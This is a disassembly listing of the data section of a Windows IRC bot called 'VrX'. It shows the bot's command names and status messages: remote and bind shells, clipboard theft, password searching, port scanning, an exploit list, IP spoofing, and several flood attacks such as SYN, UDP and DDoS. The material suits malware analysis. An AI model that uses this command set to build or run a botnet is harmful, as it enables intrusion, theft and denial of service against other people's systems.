unk_42BC2C	db  2Dh	; -		; DATA XREF: sub_401ACD+2C86o
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aServerStartedO	db ' Server started on: %s:%d.',0
		align 4
dword_42BC58	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2C04o
aFailedToSta_18	db '- Failed to start server thread, error: <%d>.',0
		align 4
dword_42BC94	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2B95o
aServerStarte_0	db '- Server started on: %s:%d.',0
dword_42BCBC	dd 234032Dh, 646E6966h,	656C6966h, 2D0302h ; DATA XREF:	sub_401ACD+2AE2o
dword_42BCCC	dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2ADDo
dword_42BCD8	dd 234032Dh, 636F7270h,	2D030273h, 0 ; DATA XREF: sub_401ACD+2ACAo
dword_42BCE8	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_401ACD+2AC5o
unk_42BCF8	db    3			; DATA XREF: sub_401ACD+2A52o
a81VrxReconne_1	db '8,1-VrX- Reconnecting.',0
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404512o
					; sub_401ACD:loc_409570o ...
		align 4
unk_42BD28	db    3			; DATA XREF: sub_401ACD+2A30o
a81VrxDisconnec	db '8,1-VrX- Disconnecting.',0
		align 4
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_4044F0o
		align 4
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_4044DAo
					; sub_401ACD+78C1o
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+29FBo
		align 4
unk_42BD78	db    3			; DATA XREF: sub_401ACD+29D4o
a81VrxStatusRea	db '8,1-VrX- Status: Ready. Bot Uptime: %s.',0
		align 4
unk_42BDA4	db    3			; DATA XREF: sub_401ACD+2995o
a81VrxBotIdS_	db '8,1-VrX- Bot ID: %s.',0
		align 4
unk_42BDBC	db  2Dh	; -		; DATA XREF: sub_401ACD+2986o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToSta_19	db '- Failed to start list thread, error: <%d>.',0
		align 4
dword_42BDF8	dd 234032Dh, 65726874h,	2736461h, 4C202D03h, 20747369h
					; DATA XREF: sub_401ACD+2917o
		dd 65726874h, 2E736461h, 0
dword_42BE18	dd 627573h		; DATA XREF: sub_401ACD+28F1o
unk_42BE1C	db    3			; DATA XREF: sub_401ACD+289Fo
a81VrxAliasList	db '8,1-VrX- Alias list.',0
		align 4
unk_42BE34	db  2Dh	; -		; DATA XREF: sub_401ACD+2884o
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedToSta_20	db '- Failed to start listing thread, error: <%d>.',0
dword_42BE6C	dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
					; DATA XREF: sub_401ACD+2815o
		dd 2E676Fh
unk_42BE84	db    3			; DATA XREF: sub_401ACD+276Do
a81VrxNetworkIn	db '8,1-VrX- Network Info.',0
unk_42BE9C	db    3			; DATA XREF: sub_401ACD+273Eo
a81VrxSystemInf	db '8,1-VrX- System Info.',0
		align 4
unk_42BEB4	db    3			; DATA XREF: sub_401ACD+26E9o
a81VrxRemovingB	db '8,1-VrX- Removing Bot.',0
unk_42BECC	db  2Dh	; -		; DATA XREF: sub_401ACD+26CDo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToSta_21	db ' Failed to start listing thread, error: <%d>.',0
		align 4
dword_42BF08	dd 234032Dh, 636F7270h,	2D030273h, 6F725020h, 73656363h
					; DATA XREF: sub_401ACD+2658o
		dd 696C2073h, 2E7473h
aFull		db 'full',0             ; DATA XREF: sub_401ACD+2638o
		align 4
unk_42BF2C	db  2Dh	; -		; DATA XREF: sub_401ACD+25D9o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aAlreadyRunni_2	db ' Already running.',0
		align 4
unk_42BF4C	db    3			; DATA XREF: sub_401ACD+2588o
a81VrxUptimeS_	db '8,1-VrX- Uptime: %s.',0
		align 4
unk_42BF64	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F8Ao
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellRea	db '- Remote shell ready.',0
		align 4
unk_42BF84	db  2Dh	; -		; DATA XREF: sub_401ACD+24B6o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldnTOpenRem	db '- Couldn',27h,'t open remote shell.',0
		align 4
unk_42BFAC	db  2Dh	; -		; DATA XREF: sub_401ACD+249Ao
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellAlr	db '- Remote shell already running.',0
		align 4
unk_42BFD8	db    3			; DATA XREF: sub_401ACD+2484o
a81VrxGetClipbo	db '8,1-VrX- Get Clipboard.',0
		align 4
dword_42BFF4	dd 234032Dh, 70696C63h,	72616F62h, 61642064h, 3026174h
					; DATA XREF: sub_401ACD+2456o
		dd 2Dh
unk_42C00C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F13o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushA	db 'Failed to flush ARP cache.',0
		align 4
unk_42C038	db  2Dh	; -		; DATA XREF: sub_401ACD+243Fo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheFlushe	db 'ARP cache flushed.',0
		align 4
unk_42C05C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403EE8o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToLoadDn	db 'Failed to load dnsapi.dll.',0
		align 4
unk_42C088	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403EE1o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushD	db 'Failed to flush DNS cache.',0
		align 4
unk_42C0B4	db  2Dh	; -		; DATA XREF: sub_401ACD+240Do
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aDnsCacheFlushe	db 'DNS cache flushed.',0
		align 4
unk_42C0D8	db  2Dh	; -		; DATA XREF: sub_401ACD+23BAo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_22	db '- Failed to start server thread, error: <%d>.',0
		align 4
unk_42C114	db  2Dh	; -		; DATA XREF: sub_401ACD+234Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aServerListenin	db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42C150	db  2Dh	; -		; DATA XREF: sub_401ACD+2265o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_23	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42C18C	db  2Dh	; -		; DATA XREF: sub_401ACD+21FAo
					; sub_40BD91+449o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_0	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42C1C8	db  2Dh	; -		; DATA XREF: sub_401ACD+20F3o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_24	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42C204	db  2Dh	; -		; DATA XREF: sub_401ACD+2084o
					; sub_40BD91+DAo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_1	db ' Server started on Port: %d, File: %s.',0
		align 4
unk_42C238	db  2Dh	; -		; DATA XREF: sub_401ACD+1FCFo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aAlreadyRunni_3	db ' Already running.',0
		align 4
unk_42C258	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403A86o
		db 3, 34h, 2
		db  4Dh	; M
		db 61h,	2 dup(53h)
		db  20h
		db 53h,	63h, 41h
		db  6Eh	; n
		db 2, 3, 2Dh
aFailedToSta_25	db ' Failed to start scan, port is invalid.',0
unk_42C290	db  2Dh	; -		; DATA XREF: sub_401ACD+1F6Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_26	db '- Failed to start scan thread, error: <%d>.',0
		align 4
unk_42C2CC	db  2Dh	; -		; DATA XREF: sub_401ACD+1EFBo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aSPortScanStart	db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 4
aSequential	db 'Sequential',0       ; DATA XREF: sub_401ACD+1ED0o
					; sub_401ACD+5B20o
		align 4
aRandom		db 'Random',0           ; DATA XREF: sub_401ACD+1EC9o
					; sub_401ACD+5B19o
		align 4
dword_42C34C	dd 234032Dh, 3025A56h	; DATA XREF: sub_401ACD+1D0Fo
aAlreadyDScanni	db '- Already %d scanning threads. Too many specified.',0
		align 4
unk_42C388	db  2Dh	; -		; DATA XREF: sub_401ACD+1CB2o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToSta_27	db 'Failed to start search thread, error: <%d>.',0
unk_42C3C4	db  2Dh	; -		; DATA XREF: sub_401ACD+1C38o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aSearchingForPa	db 'Searching for password.',0
aFp		db 'fp',0               ; DATA XREF: sub_401ACD+1BEFo
		align 10h
aFindpass	db 'findpass',0         ; DATA XREF: sub_401ACD+1BDEo
		align 4
aNoticeSPhoning	db 'NOTICE %s :PHONING HOME: DADI Are You There?! ;).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+1BC8o
aPhonehome	db 'phonehome',0        ; DATA XREF: sub_401ACD+1BB1o
		align 4
aAs		db 'as',0               ; DATA XREF: sub_401ACD+1B9Co
		align 10h
aAsc		db 'asc',0              ; DATA XREF: sub_401ACD+1B87o
unk_42C444	db    3			; DATA XREF: sub_401ACD+1B37o
a81VrxCrashingB	db '8,1-VrX- Crashing bot.',0
aShitycrash	db 'shitycrash',0       ; DATA XREF: sub_401ACD+1B21o
					; sub_401ACD+1B71o
		align 4
aTftp		db 'tftp',0             ; DATA XREF: sub_401ACD+1B0Co
		align 10h
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_401ACD+1AF7o
		align 4
aHttp		db 'http',0             ; DATA XREF: sub_401ACD+1AE2o
		align 4
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_401ACD+1ACDo
		align 10h
aRlogin		db 'rlogin',0           ; DATA XREF: sub_401ACD+1AB8o
		align 4
aRloginserver	db 'rloginserver',0     ; DATA XREF: sub_401ACD+1AA3o
		align 4
aCip		db 'cip',0              ; DATA XREF: sub_401ACD+1A8Eo
aCurrentip	db 'currentip',0        ; DATA XREF: sub_401ACD+1A79o
		align 4
aFdns		db 'fdns',0             ; DATA XREF: sub_401ACD+1A64o
		align 10h
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_401ACD+1A4Fo
		align 4
aFarp		db 'farp',0             ; DATA XREF: sub_401ACD+1A3Ao
		align 4
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_401ACD+1A25o
		align 10h
aGc		db 'gc',0               ; DATA XREF: sub_401ACD+1A10o
		align 4
aGetclip	db 'getclip',0          ; DATA XREF: sub_401ACD+19FBo
unk_42C4EC	db  2Dh	; -		; DATA XREF: sub_401ACD+19BDo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingDisabl	db ' Spoofing disabled.',0
aOff		db 'off',0              ; DATA XREF: sub_401ACD+19A2o
					; sub_401ACD+3C81o ...
aSpoof		db 'spoof',0            ; DATA XREF: sub_401ACD+198Eo
		align 10h
unk_42C520	db    3			; DATA XREF: sub_401ACD+196Eo
a81VrxLoginList	db '8,1-VrX- Login list complete.',0
		align 10h
aD_S		db '%d. %s',0           ; DATA XREF: sub_401ACD+1939o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: sub_401ACD:loc_4033F9o
dword_42C550	dd 234032Dh, 69676F6Ch,	696C206Eh, 3027473h, 2Dh
					; DATA XREF: sub_401ACD+1902o
dword_42C564	dd 6F6877h		; DATA XREF: sub_401ACD+18E5o
dword_42C568	dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+18DAo
dword_42C574	dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ;	DATA XREF: sub_401ACD+18D5o
aCmdstop	db 'cmdstop',0          ; DATA XREF: sub_401ACD+18BCo
aOcmd		db 'ocmd',0             ; DATA XREF: sub_401ACD+18A7o
		align 4
aOpencmd	db 'opencmd',0          ; DATA XREF: sub_401ACD+1892o
aDll		db 'dll',0              ; DATA XREF: sub_401ACD+187Do
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_401ACD+1868o
		align 4
aDrv		db 'drv',0              ; DATA XREF: sub_401ACD+1853o
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_401ACD+183Eo
		align 4
aUp		db 'up',0               ; DATA XREF: sub_401ACD+1829o
		align 10h
aUptime		db 'uptime',0           ; DATA XREF: sub_401ACD+1814o
		align 4
aPs		db 'ps',0               ; DATA XREF: sub_401ACD+17FFo
		align 4
aProcs		db 'procs',0            ; DATA XREF: sub_401ACD+17EAo
		align 4
aKosomaky4d	db 'KOSOMAKY4D',0       ; DATA XREF: sub_401ACD+17C0o
					; sub_401ACD+17D5o
		align 10h
aSi		db 'si',0               ; DATA XREF: sub_401ACD+17ABo
		align 4
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_401ACD+1796o
aNi		db 'ni',0               ; DATA XREF: sub_401ACD+1781o
		align 10h
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_401ACD+176Co
aClg		db 'clg',0              ; DATA XREF: sub_401ACD+1757o
aClearlog	db 'clearlog',0         ; DATA XREF: sub_401ACD+1742o
		align 4
aLg		db 'lg',0               ; DATA XREF: sub_401ACD+172Do
		align 4
aLog		db 'log',0              ; DATA XREF: sub_401ACD+1718o
aAl		db 'al',0               ; DATA XREF: sub_401ACD+1703o
		align 4
aAliases	db 'aliases',0          ; DATA XREF: sub_401ACD+16EEo
aT:					; DATA XREF: sub_401ACD+16D9o
					; ___:00438AFCo
		unicode	0, <t>,0
aThreads	db 'threads',0          ; DATA XREF: sub_401ACD+16C4o
unk_42C628	db    3			; DATA XREF: sub_401ACD+1690o
a81VrxFailedToR	db '8,1-VrX- Failed to reboot system.',0
		align 4
unk_42C64C	db    3			; DATA XREF: sub_401ACD+1689o
a81VrxRebooting	db '8,1-VrX- Rebooting system.',0
aR3start	db 'r3start',0          ; DATA XREF: sub_401ACD+1672o
aI:					; DATA XREF: sub_401ACD+165Do
		unicode	0, <i>,0
aId		db 'id',0               ; DATA XREF: sub_401ACD+1648o
		align 4
aS_0:					; DATA XREF: sub_401ACD+1633o
					; ___:00438B4Co
		unicode	0, <s>,0
aStatus		db 'status',0           ; DATA XREF: sub_401ACD+161Eo
		align 4
aQ:					; DATA XREF: sub_401ACD+1609o
					; ___:off_438768o ...
		unicode	0, <q>,0
aQuit_0		db 'quit',0             ; DATA XREF: sub_401ACD+15F4o
		align 10h
aDc		db 'dc',0               ; DATA XREF: sub_401ACD+15DFo
		align 4
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_401ACD+15CAo
		align 10h
aR:					; DATA XREF: sub_401ACD+15B5o
					; sub_401ACD+3D8Eo ...
		unicode	0, <r>,0
aReconnect	db 'reconnect',0        ; DATA XREF: sub_401ACD+15A0o
		align 10h
aExplist	db 'explist',0          ; DATA XREF: sub_401ACD+158Bo
aExploitlist	db 'exploitlist',0      ; DATA XREF: sub_401ACD+1576o
aCbstats	db 'cbstats',0          ; DATA XREF: sub_401ACD+1561o
aConnectbacksta	db 'connectbackstats',0 ; DATA XREF: sub_401ACD+154Co
		align 10h
aTrstats	db 'trstats',0          ; DATA XREF: sub_401ACD+1537o
aTransferstats	db 'transferstats',0    ; DATA XREF: sub_401ACD+1522o
		align 4
aStats		db 'stats',0            ; DATA XREF: sub_401ACD+150Do
		align 10h
aScanstats	db 'scanstats',0        ; DATA XREF: sub_401ACD+14F8o
		align 4
dword_42C70C	dd 312C3803h, 4043532Dh, 2D4Eh ; DATA XREF: sub_401ACD+14EDo
aScan_0		db 'Scan',0             ; DATA XREF: sub_401ACD+14E8o
		align 10h
aScanstop	db 'scanstop',0         ; DATA XREF: sub_401ACD+14CFo
		align 4
dword_42C72C	dd 234032Dh, 75636573h,	3026572h, 2Dh ;	DATA XREF: sub_401ACD+14C4o
aSecure_0	db 'Secure',0           ; DATA XREF: sub_401ACD+14BFo
		align 4
aSecurestop	db 'securestop',0       ; DATA XREF: sub_401ACD+14A6o
		align 10h
dword_42C750	dd 234032Dh, 6E6F6C63h,	3027365h, 2Dh ;	DATA XREF: sub_401ACD+149Bo
aClone		db 'Clone',0            ; DATA XREF: sub_401ACD+1496o
		align 4
aClonestop	db 'clonestop',0        ; DATA XREF: sub_401ACD+147Do
		align 4
aPsstop		db 'psstop',0           ; DATA XREF: sub_401ACD+1468o
		align 4
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_401ACD+1453o
		align 4
aFfstop		db 'ffstop',0           ; DATA XREF: sub_401ACD+143Eo
		align 10h
aFindfilestop	db 'findfilestop',0     ; DATA XREF: sub_401ACD+1429o
		align 10h
dword_42C7A0	dd 234032Dh, 70746674h,	2D030264h, 0 ; DATA XREF: sub_401ACD+141Eo
aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_401ACD+1400o
		align 4
aPingstop	db 'pingstop',0         ; DATA XREF: sub_401ACD+13D7o
		align 4
aUdpstop	db 'udpstop',0          ; DATA XREF: sub_401ACD+13AEo
aWisdomstop	db 'wisdomstop',0       ; DATA XREF: sub_401ACD+1385o
		align 4
aTsunamistop	db 'tsunamistop',0      ; DATA XREF: sub_401ACD+135Co
unk_42C7E8	db  2Dh	; -		; DATA XREF: sub_401ACD+1342o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aAllPacketingAc	db 'All packeting activity has been halted.',0
dword_42C81C	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh ;	DATA XREF: sub_401ACD+1307o
					; sub_401ACD+13A3o
dword_42C82C	dd 64736957h, 61206D6Fh, 63617474h, 6Bh	; DATA XREF: sub_401ACD+1302o
					; sub_401ACD+139Eo
dword_42C83C	dd 234032Dh, 6E757374h,	2696D61h, 2D03h	; DATA XREF: sub_401ACD+12E9o
					; sub_401ACD+137Ao
dword_42C84C	dd 6E757354h, 20696D61h, 6F6F6C66h, 64h	; DATA XREF: sub_401ACD+12E4o
					; sub_401ACD+1375o
dword_42C85C	dd 234032Dh, 676E6970h,	2D0302h	; DATA XREF: sub_401ACD+1289o
					; sub_401ACD+13F5o
dword_42C868	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1284o
					; sub_401ACD+13F0o
dword_42C874	dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+126Bo
					; sub_401ACD+13CCo
dword_42C880	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1266o
					; sub_401ACD+13C7o
aPacketstop	db 'packetstop',0       ; DATA XREF: sub_401ACD+1206o
		align 4
dword_42C898	dd 234032Dh, 6B6E6F77h,	2D0302h	; DATA XREF: sub_401ACD+11FBo
					; sub_401ACD+12C8o
dword_42C8A4	dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+11F6o
					; sub_401ACD+12C3o
aWonkstop	db 'wonkstop',0         ; DATA XREF: sub_401ACD+11DDo
		align 4
dword_42C8BC	dd 234032Dh, 67726174h,	3023361h, 2Dh ;	DATA XREF: sub_401ACD+11D2o
					; sub_401ACD+12AAo
dword_42C8CC	dd 67726154h, 66203361h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11CDo
					; sub_401ACD+12A5o
aTarga3stop	db 'targa3stop',0       ; DATA XREF: sub_401ACD+11B4o
		align 4
dword_42C8E8	dd 234032Dh, 73796B73h,	3026E79h, 2Dh ;	DATA XREF: sub_401ACD+11A9o
					; sub_401ACD+1328o
dword_42C8F8	dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11A4o
					; sub_401ACD+1323o
aSkysynstop	db 'skysynstop',0       ; DATA XREF: sub_401ACD+118Bo
		align 4
dword_42C914	dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+1180o
					; sub_401ACD+124Ao
dword_42C920	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+117Bo
					; sub_401ACD+1245o
aSynstop	db 'synstop',0          ; DATA XREF: sub_401ACD+1162o
dword_42C934	dd 234032Dh, 736F6464h,	2D0302h	; DATA XREF: sub_401ACD+1157o
					; sub_401ACD+122Co
dword_42C940	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1152o
					; sub_401ACD+1227o
dword_42C94C	dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1139o
dword_42C958	dd 234032Dh, 69646572h,	74636572h, 2D0302h ; DATA XREF:	sub_401ACD+112Eo
dword_42C968	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_401ACD+1129o
aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_401ACD+1110o
		align 4
dword_42C988	dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1105o
dword_42C994	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_401ACD+1100o
aLogstop	db 'logstop',0          ; DATA XREF: sub_401ACD+10E7o
dword_42C9A8	dd 234032Dh, 70747468h,	2D030264h, 0 ; DATA XREF: sub_401ACD+10DCo
aHttpstop	db 'httpstop',0         ; DATA XREF: sub_401ACD+10BEo
		align 4
dword_42C9C4	dd 234032Dh, 676F6C72h,	2646E69h, 2D03h	; DATA XREF: sub_401ACD+10B3o
aRloginstop	db 'rloginstop',0       ; DATA XREF: sub_401ACD+1095o
		align 10h
dword_42C9E0	dd 234032Dh, 6B636F73h,	3023473h, 2Dh ;	DATA XREF: sub_401ACD+108Ao
aSocks4stop	db 'socks4stop',0       ; DATA XREF: sub_401ACD+106Co
		align 4
aS4		db 's4',0               ; DATA XREF: sub_401ACD+1057o
		align 10h
aSocks4		db 'socks4',0           ; DATA XREF: sub_401ACD+1042o
		align 4
dword_42CA08	dd 234032Dh, 646E6962h,	6C656873h, 2D03026Ch, 0
					; DATA XREF: sub_401ACD+1037o
aServer_0	db 'Server',0           ; DATA XREF: sub_401ACD+1032o
					; sub_401ACD+1085o ...
		align 4
aBindshellstop	db 'bindshellstop',0    ; DATA XREF: sub_401ACD+1019o
		align 4
aBd		db 'bd',0               ; DATA XREF: sub_401ACD+1004o
		align 4
aBindshell	db 'bindshell',0        ; DATA XREF: sub_401ACD+FEFo
		align 4
aUnsec		db 'unsec',0            ; DATA XREF: sub_401ACD+FDAo
		align 4
aUnsecure	db 'unsecure',0         ; DATA XREF: sub_401ACD+FC5o
		align 4
aSec		db 'sec',0              ; DATA XREF: sub_401ACD+FB0o
					; sub_401ACD+2D26o
aSecure		db 'secure',0           ; DATA XREF: sub_401ACD+F9Bo
					; sub_401ACD+2D15o
		align 4
aSt		db 'st',0               ; DATA XREF: sub_401ACD+F86o
		align 4
aSpeedtest	db 'speedtest',0        ; DATA XREF: sub_401ACD+F71o
		align 4
aRz		db 'rz',0               ; DATA XREF: sub_401ACD+F5Co
		align 4
aRulez		db 'rulez',0            ; DATA XREF: sub_401ACD+F47o
		align 10h
aVer		db 'ver',0              ; DATA XREF: sub_401ACD+F32o
aVersion	db 'version',0          ; DATA XREF: sub_401ACD+F1Do
aLo		db 'lo',0               ; DATA XREF: sub_401ACD+F08o
		align 10h
aLogout		db 'logout',0           ; DATA XREF: sub_401ACD+EF3o
		align 4
aDi3		db 'di3',0              ; DATA XREF: sub_401ACD+EC9o
					; sub_401ACD+EDEo
aRn		db 'rn',0               ; DATA XREF: sub_401ACD+EB4o
		align 10h
aRndnick	db 'rndnick',0          ; DATA XREF: sub_401ACD+E9Co
a63		db '63',0               ; DATA XREF: sub_401ACD+D69o
		align 4
asc_42CAAC:				; DATA XREF: sub_401ACD+D41o
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_401ACD+D04o
		align 4
aServer_1	db '$server',0          ; DATA XREF: sub_401ACD+CF9o
aRndnick_0	db '$rndnick',0         ; DATA XREF: sub_401ACD+CE8o
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_401ACD+CCCo
		align 4
aUser_1		db '$user',0            ; DATA XREF: sub_401ACD+CBBo
		align 4
aMe		db '$me',0              ; DATA XREF: sub_401ACD+CA9o
aD		db '$%d',0              ; DATA XREF: sub_401ACD+C3Bo
aD_0		db '$%d-',0             ; DATA XREF: sub_401ACD+B77o
		align 4
aK:					; DATA XREF: sub_401ACD+A9Fo
					; sub_401ACD+3DBCo
		unicode	0, <k>,0
aC:					; DATA XREF: sub_401ACD+A87o
					; sub_401ACD+4AA4o
		unicode	0, <c>,0
unk_42CAF4	db  2Dh	; -		; DATA XREF: sub_401ACD+A64o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFailedByUn	db '- Chat failed by unauthorized user: %s.',0
		align 4
unk_42CB28	db  2Dh	; -		; DATA XREF: sub_401ACD+A53o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatAlreadyAct	db '- Chat already active with user: %s.',0
		align 4
unk_42CB58	db  2Dh	; -		; DATA XREF: sub_401ACD+A42o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_28	db '- Failed to start chat thread, error: <%d>.',0
		align 10h
unk_42CB90	db  2Dh	; -		; DATA XREF: sub_401ACD+9D3o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFromUserS_	db '- Chat from user: %s.',0
		align 10h
aChat		db 'CHAT',0             ; DATA XREF: sub_401ACD+93Co
		align 4
unk_42CBB8	db  2Dh	; -		; DATA XREF: sub_401ACD+91Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFa	db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
		align 4
unk_42CBFC	db  2Dh	; -		; DATA XREF: sub_401ACD+904o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_29	db '- Failed to start transfer thread, error: <%d>.',0
		align 4
dword_42CC38	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_401ACD+8F3o
		dd 0A0Dh
dword_42CC50	dd 4E495001h, 47h	; DATA XREF: sub_401ACD+8BFo
dword_42CC58	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_401ACD+8B4o
		dd 0D017325h, 0Ah
dword_42CC74	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_401ACD+883o
dword_42CC80	dd 23h			; DATA XREF: sub_401ACD+7FAo
					; sub_40CD43+1Bo
unk_42CC84	db  2Dh	; -		; DATA XREF: sub_401ACD+769o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFr	db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
		align 4
aS_1		db '%s',0               ; DATA XREF: sub_401ACD+6EAo
					; sub_401ACD+979o ...
		align 4
aSend_0		db 'SEND',0             ; DATA XREF: sub_401ACD+6C3o
		align 10h
dword_42CCC0	dd 43434401h, 0		; DATA XREF: sub_401ACD+6A5o
dword_42CCC8	dd 323333h		; DATA XREF: sub_401ACD+62Fo
					; sub_401ACD+AC1o ...
aNotice		db 'NOTICE',0           ; DATA XREF: sub_401ACD+60Do
					; sub_409869+Fo
		align 4
